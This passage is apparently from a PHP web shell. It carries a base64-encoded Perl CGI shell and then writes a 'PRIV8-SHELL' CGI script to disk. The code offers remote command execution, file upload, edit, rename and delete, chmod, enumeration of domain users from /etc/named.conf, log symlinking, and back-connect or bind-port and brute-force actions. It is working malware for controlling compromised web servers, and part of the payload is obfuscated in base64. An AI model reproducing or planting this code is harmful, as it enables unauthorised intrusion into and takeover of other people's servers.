CgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgT3BlbiBTYW5zOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGRvbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDU+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgT3BlbiBTYW5zO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IE9wZW4gU2Fucztjb2xvcjogI2ZmZmZmZjsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVlPSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJcHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==";
            $cgi = fopen($file_cgi, "w");
            fwrite($cgi, "#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;\n\$Version= \"PRIV8-SHELL Version 1.3\";\n\$EditPersion=\"<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>PRIV8-SHELL</font>\";\n\n\$Password = \"priv8shell\";\t\t\t# Change this. You will need to enter this to login.\nsub Is_Win(){\n\t\$os = &trim(\$ENV{\"SERVER_SOFTWARE\"});\n\tif(\$os =~ m/win/i){\n\t\treturn 1;\n\t}\n\telse{\n\t\treturn 0;\n\t}\n}\n\$WinNT = &Is_Win();\t\t\t\t# You need to change the value of this to 1 if\n\t\t\t\t\t\t\t\t# you're running this script on a Windows NT\n\t\t\t\t\t\t\t\t# machine. If you're running it on Unix, you\n\t\t\t\t\t\t\t\t# can leave the value as it is.\n\n\$NTCmdSep = \"&\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Windows NT.\n\n\$UnixCmdSep = \";\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Unix.\n\n\$CommandTimeoutDuration = 10000;\t# Time in seconds after commands will be killed\n\t\t\t\t\t\t\t\t# Don't set this to a very large value. This is\n\t\t\t\t\t\t\t\t# useful for commands that may hang or that\n\t\t\t\t\t\t\t\t# take very long to execute, like \"find /\".\n\t\t\t\t\t\t\t\t# This is valid only on Unix servers. It is\n\t\t\t\t\t\t\t\t# ignored on NT Servers.\n\n\$ShowDynamicOutput = 1;\t\t\t# If this is 1, then data is sent to the\n\t\t\t\t\t\t\t\t# browser as soon as it is output, otherwise\n\t\t\t\t\t\t\t\t# it is buffered and send when the command\n\t\t\t\t\t\t\t\t# completes. This is useful for commands like\n\t\t\t\t\t\t\t\t# ping, so that you can see the output as it\n\t\t\t\t\t\t\t\t# is being generated.\n\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\n\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\n\$cols= 150;\n\$rows= 26;\n#------------------------------------------------------------------------------\n# Reads the input sent by the browser and parses the input variables. It\n# parses GET, POST and multipart/form-data that is used for uploading files.\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\n# Other variables can be accessed using \$in{'var'}, where var is the name of\n# the variable. Note: Most of the code in this function is taken from other CGI\n# scripts.\n#------------------------------------------------------------------------------\nsub ReadParse \n{\n\tlocal (*in) = @_ if @_;\n\tlocal (\$i, \$loc, \$key, \$val);\n\t\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\n\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\n\t{\n\t\t\$in = \$ENV{'QUERY_STRING'};\n\t}\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\n\t{\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\n\t}\n\n\t# handle file upload data\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\n\t{\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \n\t\t@list = split(/\$Boundary/, \$in); \n\t\t\$HeaderBody = \$list[1];\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\n\t\t\$Header = \$`;\n\t\t\$Body = \$';\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\n\t\t\$in{'filedata'} = \$Body;\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \n\t\t\$in{'f'} = \$1; \n\t\t\$in{'f'} =~ s/\\\"//g;\n\t\t\$in{'f'} =~ s/\\s//g;\n\n\t\t# parse trailer\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\n\t\t{ \n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\n\t\t\t\$key = \$1;\n\t\t\t\$val = \$';\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} = \$val; \n\t\t}\n\t}\n\telse # standard post data (url encoded, not multipart)\n\t{\n\t\t@in = split(/&/, \$in);\n\t\tforeach \$i (0 .. \$#in)\n\t\t{\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\n\t\t\t\$in{\$key} .= \$val;\n\t\t}\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML Page Header\n# Argument 1: Form item name to which focus should be set\n#------------------------------------------------------------------------------\nsub PrintPageHeader\n{\n\t\$EncodedCurrentDir = \$CurrentDir;\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\tmy \$dir =\$CurrentDir;\n\t\$dir=~ s/\\\\/\\\\\\\\/g;\n\tprint \"Content-type: text/html\\n\\n\";\n\tprint <<END;\n<html>\n<head>\n<link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet'>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n<title>Priv8 Shell Cgi</title>\n\n\$HtmlMetaHeader\n\n</head>\n<style>\nbody{\nfont: 10pt Open Sans;\n}\ntr {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\ncolor: #ffffff;\n}\ntd {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\ncolor: #ff1111;\nfont: 10pt Open Sans;\n}\n\ntable {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: #111;\n}\n\n\ninput {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: Black;\nfont: 10pt Open Sans;\ncolor: #ffffff;\n}\n\ninput.submit {\ntext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\ncolor: #FFFFFF;\nborder-color: #ff1111;\n}\n\ncode {\nborder\t\t\t: dashed 0px #333;\nBACKGROUND-COLOR: Black;\nfont: 10pt Open Sans bold;\ncolor: while;\n}\n\nrun {\nborder\t\t\t: dashed 0px #333;\nfont: 10pt Open Sans bold;\ncolor: #FF00AA;\n}\n\ntextarea {\nBORDER-RIGHT:  #3e3e3e 1px solid;\nBORDER-TOP:    #3e3e3e 1px solid;\nBORDER-LEFT:   #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\nBACKGROUND-COLOR: #1b1b1b;\nfont: Fixedsys bold;\ncolor: #aaa;\n}\nA:link {\n\tCOLOR: #ff1111; TEXT-DECORATION: none\n}\nA:visited {\n\tCOLOR: #ff1111; TEXT-DECORATION: none\n}\nA:hover {\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #ffffff; TEXT-DECORATION: none\n}\nA:active {\n\tcolor: Red; TEXT-DECORATION: none\n}\n\n.listdir tr:hover{\n\tbackground: #444;\n}\n.listdir tr:hover td{\n\tbackground: #444;\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\n\tcolor: #FFFFFF; TEXT-DECORATION: none;\n}\n.notline{\n\tbackground: #111;\n}\n.line{\n\tbackground: #222;\n}\n</style>\n<script language=\"javascript\">\nfunction chmod_form(i,file)\n{\n\t/*var ajax='ajax_PostData(\"FormPerms_'+i+'\",\"\$ScriptLocation\",\"ResponseData\"); return false;';*/\n\tvar 